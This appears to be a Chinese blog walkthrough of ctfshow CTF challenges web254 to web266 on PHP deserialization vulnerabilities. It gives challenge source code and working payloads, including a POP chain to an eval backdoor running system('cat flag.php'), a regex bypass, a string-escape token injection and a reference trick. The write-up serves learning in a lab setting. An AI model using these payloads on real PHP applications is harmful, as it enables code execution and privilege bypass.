通過ctfshow學習php反序列化


通過ctf幾道題學習php的反序列化

web254

web255

web256

web257

web258

web259

web260

web262

web263

web264

web265

web266


web254

error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;

    public function checkVip(){
        return $this->isVip;
    }
    public function login($u,$p){
        if($this->username===$u&&$this->password===$p){
            $this->isVip=true;
        }
        return $this->isVip;
    }
    public function vipOneKeyGetFlag(){
        if($this->isVip){
            global $flag;
            echo "your flag is ".$flag;
        }else{
            echo "no vip, no flag";
        }
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    $user = new ctfShowUser();
    if($user->login($username,$password)){
        if($user->checkVip()){
            $user->vipOneKeyGetFlag();
        }
    }else{
        echo "no vip,no flag";
    }
} 

分析

先初始化ctfShowUser類,然后在后面的if中先判斷變量是否設置,然后new一個新對象$user,用戶輸入的參數與$user對比是否一致,所以只需要傳入username='xxxxxx'&password='xxxxxx'

實現

payload:username='xxxxxx'&password='xxxxxx'

web255

class ctfShowUser{ 
    public $username='xxxxxx'; 
    public $password='xxxxxx'; 
    public $isVip=false; 

    public function checkVip(){ 
        return $this->isVip; 
    } 
    public function login($u,$p){ 
        return $this->username===$u&&$this->password===$p; 
    } 
    public function vipOneKeyGetFlag(){ 
        if($this->isVip){ 
            global $flag; 
            echo "your flag is ".$flag; 
        }else{ 
            echo "no vip, no flag"; 
        } 
    } 
} 

$username=$_GET['username']; 
$password=$_GET['password']; 

if(isset($username) && isset($password)){ 
    $user = unserialize($_COOKIE['user']);     
    if($user->login($username,$password)){ 
        if($user->checkVip()){ 
            $user->vipOneKeyGetFlag(); 
        } 
    }else{ 
        echo "no vip,no flag"; 
    } 

分析

先初始化ctfShowUser類,然后在后面的if中先判斷變量是否設置,然后通過反序列化獲取對象賦值給$user(序列化將對象保存到字符串,反序列化將字符串恢復為對象),反序列化的值是user的cookie,之后要求checkVip為true,然后執行vipOneKeyGetFlag()得到flag

要讓isvip為true才能執行后面的函數得到flag,所以我們要寫一個php序列化函數傳到cookie,然后經過反序列化由賦值給$user,然后isvip去之前的一致得到flag。注意在cookie字段當中需要url編碼一波,其名稱以及存儲的字符串值是必須經過URL編碼

實現

web256

error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;

    public function checkVip(){
        return $this->isVip;
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function vipOneKeyGetFlag(){
        if($this->isVip){
            global $flag;
            if($this->username!==$this->password){
                    echo "your flag is ".$flag;
              }
        }else{
            echo "no vip, no flag";
        }
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    $user = unserialize($_COOKIE['user']);    
    if($user->login($username,$password)){
        if($user->checkVip()){
            $user->vipOneKeyGetFlag();
        }
    }else{
        echo "no vip,no flag";
    }
}

分析

大部分思路與web255相似,唯一區別在

要求username不等於password。

web257

class ctfShowUser{
    private $username='xxxxxx';
    private $password='xxxxxx';
    private $isVip=false;
    private $class = 'info';

    public function __construct(){
        $this->class=new info();
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function __destruct(){
        $this->class->getInfo();
    }

}

class info{
    private $user='xxxxxx';
    public function getInfo(){
        return $this->user;
    }
}

class backDoor{
    private $code;
    public function getInfo(){
        eval($this->code);
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    $user = unserialize($_COOKIE['user']);
    $user->login($username,$password);
}

分析

能利用的點是eval函數輸出php代碼進行命令執行,所以我們需要在初始化backDoor類,然后在ctfShowUser類的__destruct中發現了$this->class->getInfo();,那么我們只需要讓$this->class是backDoor類的實例化就可以了。反序列化時,首先調用__destruct,接着調用$this->class->getInfo();也就是backDoor->getinfo(),最后觸發eval。

實現

別人的payload(https://y4tacker.blog.csdn.net/article/details/110499314)

web258

error_reporting(0);
highlight_file(__FILE__);

class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;
    public $class = 'info';

    public function __construct(){
        $this->class=new info();
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function __destruct(){
        $this->class->getInfo();
    }

}

class info{
    public $user='xxxxxx';
    public function getInfo(){
        return $this->user;
    }
}

class backDoor{
    public $code;
    public function getInfo(){
        eval($this->code);
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user'])){
        $user = unserialize($_COOKIE['user']);
    }
    $user->login($username,$password);
}

分析

構造pop鏈時可以用到str_replace函數。在257基礎上增加了一串正則表達式。因為正則把O:過濾了,可以利用str_replace函數把O:換成O:+

實現

class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=true;
    public $class = 'backDoor';
    public function __construct(){
        $this->class=new backDoor();
    }
    public function __destruct(){
        $this->class->getInfo();
    }
}
class backDoor{
    public $code="system('cat flag.php');";
    public function getInfo(){
        eval($this->code);
    }
}
    
$a = new ctfShowUser();
$a = serialize($a);
$a= str_replace('O:','O:+',$a);
echo urlencode($a);

web259(還不會)



利用的是php原生類SoapClient

web260

<?php

error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

if(preg_match('/ctfshow_i_love_36D/',serialize($_GET['ctfshow']))){
    echo $flag;
}

分析

get傳參的值序列化之后要有ctfshow_i_love_36D,所以傳ctfshow=ctfshow_i_love_36D

實現

payload:ctfshow=ctfshow_i_love_36D

web262

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-03 02:37:19
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-03 16:05:38
# @message.php
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


error_reporting(0);
class message{
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}

$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];

if(isset($f) && isset($m) && isset($t)){
    $msg = new message($f,$m,$t);
    $umsg = str_replace('fuck', 'loveU', serialize($msg));
    setcookie('msg',base64_encode($umsg));
    echo 'Your message has been sent';
}

highlight_file(__FILE__);




//message.php下的源碼
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-03 15:13:03
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-03 15:17:17
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/
highlight_file(__FILE__);
include('flag.php');

class message{
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}

if(isset($_COOKIE['msg'])){
    $msg = unserialize(base64_decode($_COOKIE['msg']));
    if($msg->token=='admin'){
        echo $flag;
    }
}

分析

在標題注釋里面有個message.php 猜測可以試一下 得到以下代碼。

在message.php這個頁面中,輸入msg作為cookie參數然后base64解密再反序列化賦值給$msg,判斷token是否等於admin,然后獲取flag。 所以第一步我們需要先將$token='admin';序列化得到 O:7:"message":1:{s:5:"token";s:5:"admin";}
我們只需要用到{s:5:"token";s:5:"admin";}這一部分,通俗的講我們需要構造一個長度跟{s:5:"token";s:5:"admin";}一樣的字符串將序列化好的結構打亂,讓需要利用的地方通過反序列化函數最后獲取flag。通過python可以知道";s:5:"token";s:5:"admin";}的長度(必須要在s:5:"token";s:5:"admin";}前面加上";->";s:5:"token";s:5:"admin";}),
然后通過

這幾句話可以知道每出現一個fuck或者loveU可以替換一個字符,一個27個,所以需要構造27個fuck或者loveU,與";s:5:"token";s:5:"admin";}拼接,其他變量何以為任意。這樣序列化對應的27為長度在過濾后的序列化會被27個fuck或者loveU填充,從而使我們構造的代碼 ;s:5:"token";s:5:"admin";}成功逃逸。

實現

  1. 寫php腳本

  1. 構造patyload

     ?f=1&m=1&t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}
    
  2. 訪問message.php

然后訪問message.php得到flag

web263(php session反序列化漏洞)

參考博客

參考博客

參考博客

參考博客

分析

session反序列化漏洞過程可以理解為,1.先獲取cookie建立連接 2.抓包修改cookie成序列化字符串 3.然后在訪問check.php,這樣子cookie中的序列化字符串會傳入到check.php中實現了命令執行 4.然后訪問寫入的php文件即可得到flag

還是看大佬們的博客吧

web264

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-03 02:37:19
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-03 16:05:38
# @message.php
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


error_reporting(0);
session_start();

class message{
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}

$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];

if(isset($f) && isset($m) && isset($t)){
    $msg = new message($f,$m,$t);
    $umsg = str_replace('fuck', 'loveU', serialize($msg));
    $_SESSION['msg']=base64_encode($umsg);
    echo 'Your message has been sent';
}

highlight_file(__FILE__);


<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-03 15:13:03
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-03 15:17:17
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/
session_start();
highlight_file(__FILE__);
include('flag.php');

class message{
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}

if(isset($_COOKIE['msg'])){
    $msg = unserialize(base64_decode($_SESSION['msg']));
    if($msg->token=='admin'){
        echo $flag;
    }
}

分析

思路是跟web262很像,只是在message.php下cookie變成了session。

cookie變成了session, 所以不能直接修改cookie。它需要什么就加什么,需要傳一個cookie的msg值,抓包以后在cookie那里加上msg=1就可以了。

過程

web265

php引用符&(https://www.jb51.net/article/174133.htm)

error_reporting(0);
include('flag.php');
highlight_file(__FILE__);
class ctfshowAdmin{
    public $token;
    public $password;

    public function __construct($t,$p){
        $this->token=$t;
        $this->password = $p;
    }
    public function login(){
        return $this->token===$this->password;
    }
}

$ctfshow = unserialize($_GET['ctfshow']);
$ctfshow->token=md5(mt_rand());

if($ctfshow->login()){
    echo $flag;
}




實現

class ctfshowAdmin{
    public $token = 'a';
    public $password = 'a';
    public function __construct(){
        $this->token = 'a';
        $this->password =& $this->token;
    }
}
echo serialize(new ctfshowAdmin());

web266

highlight_file(__FILE__);

include('flag.php');
$cs = file_get_contents('php://input');


class ctfshow{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public function __construct($u,$p){
        $this->username=$u;
        $this->password=$p;
    }
    public function login(){
        return $this->username===$this->password;
    }
    public function __toString(){
        return $this->username;
    }
    public function __destruct(){
        global $flag;
        echo $flag;
    }
}
$ctfshowo=@unserialize($cs);
if(preg_match('/ctfshow/', $cs)){
    throw new Exception("Error $ctfshowo",1);

實現

php寫腳本

class ctfshow{
    public $username='xxxxxx';
    public $password='xxxxxx';
}   
echo serialize(new ctfshow());

通過post傳參。 但是需要注意大小寫。 最后兩行源碼過濾了ctfshow


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM